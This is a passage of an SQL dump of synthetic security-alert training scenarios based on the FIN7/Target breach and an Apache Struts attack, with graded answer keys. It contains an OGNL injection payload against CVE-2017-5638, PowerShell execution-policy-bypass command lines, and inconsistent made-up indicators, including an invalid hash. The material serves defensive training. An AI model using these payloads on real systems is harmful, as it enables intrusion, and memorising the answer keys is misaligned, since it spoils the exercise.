detected\\\",\\\"indicators\\\":[{\\\"indicator_type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"role\\\":\\\"attacker\\\"},{\\\"indicator_type\\\":\\\"hash\\\",\\\"value\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"role\\\":\\\"malware\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:31:22.198Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"attacker_domain\\\":\\\"malicious-nk-group.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"action\\\":\\\"Data exfiltration attempt detected\\\",\\\"indicators\\\":[{\\\"indicator_type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"role\\\":\\\"attacker\\\"},{\\\"indicator_type\\\":\\\"hash\\\",\\\"value\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"role\\\":\\\"malware\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:22.198Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"attacker_domain\\\":\\\"malicious-nk-group.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"action\\\":\\\"Data exfiltration attempt detected\\\",\\\"indicators\\\":[{\\\"indicator_type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"role\\\":\\\"attacker\\\"},{\\\"indicator_type\\\":\\\"hash\\\",\\\"value\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"role\\\":\\\"malware\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:22.198Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"attacker_domain\\\":\\\"malicious-nk-group.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"action\\\":\\\"Data exfiltration attempt detected\\\",\\\"indicators\\\":[{\\\"indicator_type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"role\\\":\\\"attacker\\\"},{\\\"indicator_type\\\":\\\"hash\\\",\\\"value\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"role\\\":\\\"malware\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:22.198Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"attacker_domain\\\":\\\"malicious-nk-group.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"action\\\":\\\"Data exfiltration attempt detected\\\",\\\"indicators\\\":[{\\\"indicator_type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"role\\\":\\\"attacker\\\"},{\\\"indicator_type\\\":\\\"hash\\\",\\\"value\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"role\\\":\\\"malware\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(571, 'Compromised HVAC Vendor Access', 'high', 'Firewall logs', 'FIN7 initiated an attack by exploiting a vulnerability in the HVAC vendor\'s network, providing an entry point into Target\'s infrastructure. The attack was detected through unusual traffic patterns in the firewall logs, originating from a known malicious IP associated with FIN7 operations.', 'Initial Access', 'T1199: Trusted Relationship', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"TCP\",\"action\":\"allowed\",\"username\":\"hvac_vendor\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"malicious_update.exe\",\"event_id\":\"FW-0002345678\",\"message\":\"Unusual traffic from trusted HVAC vendor IP\"}', '2026-01-08 22:01:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known FIN7 C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"HVAC vendor access point\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Identified as malware associated with FIN7\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Filename known to be used by FIN7\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"hvac_vendor\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Recognized vendor account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(572, 'Deploying RAM-Scraping Malware', 'high', 'Endpoint detection and response (EDR) logs', 'The EDR system detected the deployment of a RAM-scraping malware on POS systems. The malware was installed to capture unencrypted credit card data during transactions. Indicators of compromise (IOCs) were identified, including a known malicious IP address and file hash associated with RAM-scraping activities.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_type\":\"process_creation\",\"hostname\":\"POS-Server-01\",\"username\":\"admin\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -exec bypass -file C:\\\\Windows\\\\Temp\\\\ram_scrape.ps1\",\"file_hash\":\"3d2e1f99b8a4b3c2d5e6f7g8h9i0j1k2\",\"source_ip\":\"198.51.100.27\",\"destination_ip\":\"192.168.1.25\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\ram_scrape.ps1\"}', '2026-01-08 22:01:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.27\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous RAM-scraping malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3d2e1f99b8a4b3c2d5e6f7g8h9i0j1k2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as RAM-scraping malware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\Temp\\\\ram_scrape.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File contains scripts for RAM-scraping operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(573, 'Establishing Persistence', 'medium', 'Active Directory logs', 'An unauthorized user account was created in the Active Directory to maintain persistent access to the network. The account creation was detected, indicating a potential persistence technique being employed by attackers.', 'Persistence', 'T1136: Create Account', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T10:15:30Z\",\"event_id\":\"4720\",\"event_source\":\"Security\",\"computer_name\":\"DC1.corporate.local\",\"user\":\"SYSTEM\",\"target_user\":{\"account_name\":\"unauthorized_admin\",\"account_domain\":\"corporate\",\"user_id\":\"S-1-5-21-1234567890-1234567890-1234567890-1001\"},\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.50\",\"logon_type\":\"3\",\"logon_process\":\"Advapi\",\"authentication_package\":\"Negotiate\"}', '2026-01-08 22:01:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"unauthorized_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized user account created to maintain persistence.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP is associated with known malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(574, 'Lateral Movement to Payment Network', 'high', 'Network traffic analysis', 'FIN7 has moved laterally within the network using compromised credentials to access the payment processing network. The movement was detected through unusual network activity and the presence of known malicious IP addresses and file hashes.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:27:45Z\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"credential_dump.exe\",\"event\":\"lateral movement detected\",\"description\":\"User jdoe moved laterally from 10.0.2.15 to 192.168.1.10 using stolen credentials, connecting from the external IP 203.0.113.45. Detected file hash e99a18c428cb38d5f260853678922e03 associated with known malware.\"}', '2026-01-08 22:01:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address used for lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"suspicious\",\"details\":\"User credentials may have been compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by FIN7.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"credential_dump.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Filename associated with credential dumping tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(575, 'Data Exfiltration of Credit Card Information', 'high', 'Data Loss Prevention (DLP) logs', 'In the final stage, attackers exfiltrated credit card data via an unauthorized FTP transfer to an external IP address, preparing to monetize the information through underground channels.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:23:54Z\",\"event_id\":\"dlp-20231025-142354\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"21\",\"protocol\":\"FTP\",\"username\":\"compromised_user\",\"exfiltrated_files\":[\"credit_card_data.csv\"],\"md5_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"allowed\",\"alert\":\"Credit card data exfiltration detected\"}', '2026-01-08 22:01:14', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external dns\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used for data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"credit_card_data.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive credit card information\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Hash of exfiltrated credit card data file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Account used for unauthorized access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.206Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:54Z\\\",\\\"event_id\\\":\\\"dlp-20231025-142354\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"21\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"exfiltrated_files\\\":[\\\"credit_card_data.csv\\\"],\\\"md5_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert\\\":\\\"Credit card data exfiltration detected\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.206Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:54Z\\\",\\\"event_id\\\":\\\"dlp-20231025-142354\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"21\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"exfiltrated_files\\\":[\\\"credit_card_data.csv\\\"],\\\"md5_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert\\\":\\\"Credit card data exfiltration detected\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.206Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:54Z\\\",\\\"event_id\\\":\\\"dlp-20231025-142354\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"21\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"exfiltrated_files\\\":[\\\"credit_card_data.csv\\\"],\\\"md5_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert\\\":\\\"Credit card data exfiltration detected\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.206Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:54Z\\\",\\\"event_id\\\":\\\"dlp-20231025-142354\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"21\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"exfiltrated_files\\\":[\\\"credit_card_data.csv\\\"],\\\"md5_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert\\\":\\\"Credit card data exfiltration detected\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.206Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:54Z\\\",\\\"event_id\\\":\\\"dlp-20231025-142354\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"21\\\",\\\"protocol\\\":\\\"FTP\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"exfiltrated_files\\\":[\\\"credit_card_data.csv\\\"],\\\"md5_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert\\\":\\\"Credit card data exfiltration detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(576, 'Suspicious HTTP Request Detected', 'high', 'Web Server Logs', 'A crafted HTTP request aimed at exploiting the Apache Struts vulnerability was detected. This attack attempts to gain initial access to the server by exploiting CVE-2017-5638.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:54Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"http_method\":\"GET\",\"url\":\"/struts2-showcase/index.action\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"payload\":\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\",\"response_code\":200,\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-08 22:06:19', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Empty file hash often used for testing or malicious purposes.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/struts2-showcase/index.action\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"payload\\\":\\\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\\\",\\\"response_code\\\":200,\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/struts2-showcase/index.action\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"payload\\\":\\\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\\\",\\\"response_code\\\":200,\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/struts2-showcase/index.action\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"payload\\\":\\\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\\\",\\\"response_code\\\":200,\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/struts2-showcase/index.action\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"payload\\\":\\\"${(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Exploit-Test\',\'Success\'))}\\\",\\\"response_code\\\":200,\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 